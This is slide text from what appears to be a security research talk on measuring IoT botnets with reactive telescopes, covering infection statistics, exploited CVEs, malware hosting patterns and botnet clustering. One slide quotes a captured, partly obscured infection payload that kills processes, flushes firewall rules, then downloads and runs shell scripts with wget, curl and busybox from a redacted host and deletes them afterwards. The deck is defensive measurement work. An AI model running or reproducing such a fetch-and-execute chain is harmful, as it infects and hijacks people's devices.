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Why do we need to worry about IoT botnets?

• Can be used to carry out disruptive DDoS attacks


• Mirai - consisted of over 600,000 infected devices. Carried out a DDoS attack with a peak of 
1Tbps.


• Aisuru - recently carried out an attack with a peak volume of 6.3 Tbps.


• Several for-hire platforms such as those provided by GorillaBot to target web servers, game 
servers, etc.


• Brute force attacks: Quad7 botnet targeting SOHO devices and using them for password 
spraying attacks on Microsoft 365 accounts.


• Click-fraud


• Proxies / ORB’s: NSOCKS proxy service (allegedly) used ngioweb botnet infected devices.



Challenges in capturing IoT botnet activities
IoT botnet infrastructure 



Challenges in capturing IoT botnet activities. 
Common tools

• Passive telescopes - Blocks of unused IP addresses to record unsolicited 
traffic


• Honeypots - Run or emulate a vulnerable service to record the behavior of the 
attackers.



Challenges in capturing IoT botnet activities
Passive telescope vs. Honeypot visibility

Passive Telescope Honeypot



Challenges in capturing IoT botnet activities 
Scalability

= 1 /24

≈ 14 TB


 + Computational resources

≈ 4 TB


++++ Computational Resources



Is there a middle ground?

• REACTIVE TELESCOPES!


• What if we can emulate the first few steps of the infection?


• We aim to catch the initial infection payload


• We still cant see the further script activities, but we can obtain much more 
information at a lower performance impact.



Challenges in capturing IoT botnet activities
Reactive telescope vs. Passive telescope vs. Honeypot visibility

Passive Telescope Honeypot

Reactive telescope



Challenges in capturing IoT botnet activities 
Scalability

= 1 /24

14 TB


+ Computational Resources

4 TB


++++ Computational Resources

4 TB


++ Computational Resources



What are reactive telescopes exactly?

• We emulate an unresponsive Layer-7 Protocol 


• We can see any interaction with an adversary that does not require a stateful 
or protocol specific response.


• Allows us to gain more information than passive monitoring.



How our reactive telescope works.

SYN: Port 5555? ☺

SYN/ACK: Yes!

O̵P̷E̶N̴X̸\x̴0̶̷1̸\x̷0̵̷0̵. ̶. ̵. ̴\x̴0̸̷0̴\x̸b̵c̸\̷x̸0̶̴1̷\x̸1̴̶b ̵\x̵8̴̵9̷\x̴0̴̵0̷\x̴0̴̸0̴\x̸b̴0̵̵\x̷a̸ ̷f ̴
̶sh̶̶e̴l ̴l :̸ k̴i̷ ̷l ̴l a̸ ̸l ̴l  ̷ '̵ '̷  ̴ |̶ ̸| ̶ p̵k̴i̸ l̵ l̵  ̸ '̴ '̶ ;̵  ̴ i̷ p̶ ̶ta̵b̶ ̷l e̶̵s ̵ -̶F̴ ̵; c̴d̴̵
̷/d̶̴a ̷ta̴ ̶/ l̶ o̷̵ca̸ ̶l /̷t̷m̶̷p/̷ ̷ |̶ ̴|  ̷c̸d̷̵ /̷t̵m̵̵p ̵/ ̶ |̸ ̵| ̸ c̶d̵̸ /̶v̴a̶r̷/̷r̷u̶̶n̶/ ̶
̸| ̷|  ̵c̸d̴̷ /̴h̵̵o̴m̸e̶/ ̶ |̷ ̴| ̵ c̶d̶̸; b̵u̴̷sy̵b̵o̵̴x ̵ w̶̴g̶e̶t ̵
̷h̷t t̶p̵:̷ /̵/̵x̷x̸x̸ ̷. x̶x̶x̵ ̴. 7̶9̴̵. 7̸4̶̸/w̵̶. s̶h̷̴; s̴h̶̷ w̴̵. s̴h̶̴; ̸
̷cu̴̶r l̷  ̵h̶̸t t̴p̴:̷ /̸/̸x̵x̸x̷ ̶. x̶x̸x̴.̴ 7̵9̶̸. 7̸4̸̴/c̸.̷ s̵h̸̶;  ̸s̵h̷̷ c̵.̶ s̵h̷̴; ̸
̶w̸g̶e̴t ̸h̷̸t t̸p̴:̴ /̴x̷x̸x̶.̶ x̷x̶x̵.̸ 7̵9̶̴. 7̸4̸̸/w̵̸g̸e̶t .̴ s̸h̴̴; s̸h̵̶ w̵̶g̵e̵t.̵ s̸h̶̵; ̴
̵cu̶̴rl̷  ̸h̴̸t t̴p̸ ̸: /̶/̵x̸x̷x̵.̷ x̵x̴x̷.̴ 7̷9̸̴. 7̵4̵̵/w̵̷g̵e̸t .̶ s̷h̷̴;  ̸s̷h̴̸ w̴̵g̶e̴t .̶ s̶h̷̵; ̴
̷bu̵̷sy̷b̶o̶̶x ̸ w̸̶g̸e̶t ̴h̸̸t t̵p̴:̴ /̸/̷x̵x̴x̵ ̴. x̶x̵x̸.̸ 7̵9̴̷. 7̵4̵̵/w̸̷g̷e̶t.̵ s̵h̷̴; s̸h̵̵ w̴̷g̸e̸t .̴ s̶h̸̸; ̷
̸bu̵̵sy̷b̸o̷̴x ̸ c̶u̷̵r l̷  ̷h̷̸t t̶p̶:̵ /̸/̸x̶x̶x̶.̴ x̷x̸x̸ ̶. 7̴9̶̵. 7̴4̸̷/w̴̸g̴e̵t .̴ s̸h̴̵;  ̷s̸h̸̶ w̸̴g̸e̶t .̵ s̴h̴̸; ̴
̸s ̷l e̴̶e̸p ̵ 0̶̵. 5̸̵;  ̸r̸m̴̸ -̶r̵ f̷  ̴*̶.̴ s̷h̴̶;  ̶r̴m̷̸ -̵r̴f̸  ̸b̴o̴̷tn̵̵e̸t .̶ *̵\̵x̷0̴̸0̷" ̸

😈



Our data

• We run the reactive telescope on ≈2K addresses.


• Data collected from March 2024 till current day


• 37B rows of data on incoming and outgoing packets


• 12.23M distinct IPs that contact us.



Example exploit
Overview



Extracting information from the logs
Challenges

• There are 7,513,089,442 logs present in our database with a non-empty 
payload.


• Ranging from Researchers to CTI providers to Misconfigurations to malicious 
attempts.


• How can we catch them all?



Solution
Match on all linux bins to ensure we dont miss anything

• At some point the attackers need to execute an 
existing binary on the device to infect it. 


• To ensure that we do not miss any technique that the 
attackers may use, we match against a list of all 
binaries present on the linux distributions present on 
these types of devices as well as those provided by 
the busybox and toy box suites.



Aggregate statistics on what we see
Infectors and Hosters

• 203K unique IPs that send us malicious packets and 82K malware hosters.


• We see 3,954 unique ports targeted with exploits


• Most common ports are: 5555, 8080, 80, 45634, 23, 37215, 60001, 5500, 
8888, 5501, 52869, 56575, 6363, 8081, 8083, 8181, 9080, 7547, 8088, 8989.


• Most of the higher port numbers are exposed interfaces for DVRs, routers, 
etc.



Aggregate Statistics on what we see
Hosting Patterns

Self Hosted: 73.5K (89.6%) Single infector and Hoster: 5.2K (6.3%)

Hoster and multiple infectors: 2.8K (3.2%) Bots and Hoster: 152 (0.1%)



AS types
Hoster Locations and Lifetimes

• We can see hosters present in well-known 
hosting providers, Bullet-Proof Hosters and 
residential IP spaces.


• Hosters present in known hosting providers 
have shorter lifetimes but are still used 
frequently.


• Short lifetimes and hard coded IPs make it 
seem like use and throw infrastructure.



Aggregate statistics on what we see
Vulnerabilities

• We also characterize the vulnerabilities that 
we see


• We manually find 50 popular vulnerabilities  
targeting devices ranging from android tv 
boxes to routers and so on, accounting for 
more than 90% of the observed traffic.


• Most are EOL internet connected devices, 
such as routers, dvrs, TV boxes, etc.



Aggregate stats on what we see

• CVE-2023-1389 exploiting TP-Link Archer devices.

• CVE-2013-7471 exploiting D-Link DIR routers.


• ADB shell command exploit on devices with open port 5555

• AVTech surveillance devices.

Example exploits



CVE Timeline
CVEs published in 2024 and our observed traffic



Hoster Dynamics
Looking at hoster behavior over time

• Botnet owners need to update their infrastructure to stay ahead of unstable 
infrastructure, takedown attempts or blocklists.


• In cases that the different operations of a botnet are delegated to different 
infrastructure, we might be able to observe connections between the old and 
updated parts. 


• In the case of competing botnets that also use infected devices to scan, we 
may see a link between their hosting servers and the infected devices.



Hoster Dynamics
Plotting interactions over time



Hoster Dynamics
Clustering

• We utilize the interconnectedness to identify clusters of interest 


• This helps us to gain a better understanding of how the ecosystem actually 
changes over time.


• We create a matrix based on the number of shared infectors between hosting 
servers and perform Agglomerative Clustering.



Clustering based on connections



Port 80 cluster



Port 80 cluster details
Understanding infrastructure development over time

• Cluster consists of 8 hoster addresses.


• 446 unique IPs had infection attempts on our reactive telescope.


• Campaign lasted over a period of 2.5 months.


• We see 5 unique filenames used over the course of the campaign.


• All infection attempts involve a path traversal exploit with a code execution to 
download and execute the malicious payload.



Timeline of infector activity.



Timeline of files



Gorilla bot case study
Plotting development of capabilities over time

Credit: Maarten Weyns: m.b.m.weyns@tudelft.nl

mailto:m.b.m.weyns@tudelft.nl


Commands
Auxiliary Activities

• Delete older versions of files (update)


• Delete file on disk after executing (cleaning up traces)


• Recon for vulnerable devices


• Share device info


• Wget, curl are the most common commands, we also see chmod, echo, 
kill ,pkill, iptables, mv, base64 and so on.



Commands
Interactions with other botnets/defenders



Learning from the botnets
What if we take the good and leave the bad?



Future work and ideas

• Fingerprinting hosting servers


• Improving our instrumentation for capturing higher levels of sophistication.


• Tracking opendirs


• Low overhead implementation of services (HTTP, TLS)


• Distributed infrastructure across different geographical locations as well as 
sectors.



Takeaways

• Reactive telescopes provide a useful middle ground between passive and complete 
monitoring techniques and provide a good indicator of where to put resources for full 
emulation.


• Some attackers use infrastructure for short durations to set up their botnets repeatedly over 
short periods of time making takedowns/blocklists ineffective


• Others have distributed infrastructure to have multiple points of failure which we are able to 
observe by deploying the reactive telescope over a long period of time to analyze the stager 
dynamics. This also makes disruption attempts much more difficult.


• We see competition for these limited sets of devices, maybe we can utilize some of these 
methods to intervene in a safe manner to disrupt these botnets.


• There is a lot of work to be done still!



Thanks for listening!
Any questions?

You can reach out to me at: m.a.mohammed@tudelft.nl


For enquiries, collaborations, data or just for a chat!

mailto:M.a.mohammed@tudelft.nl

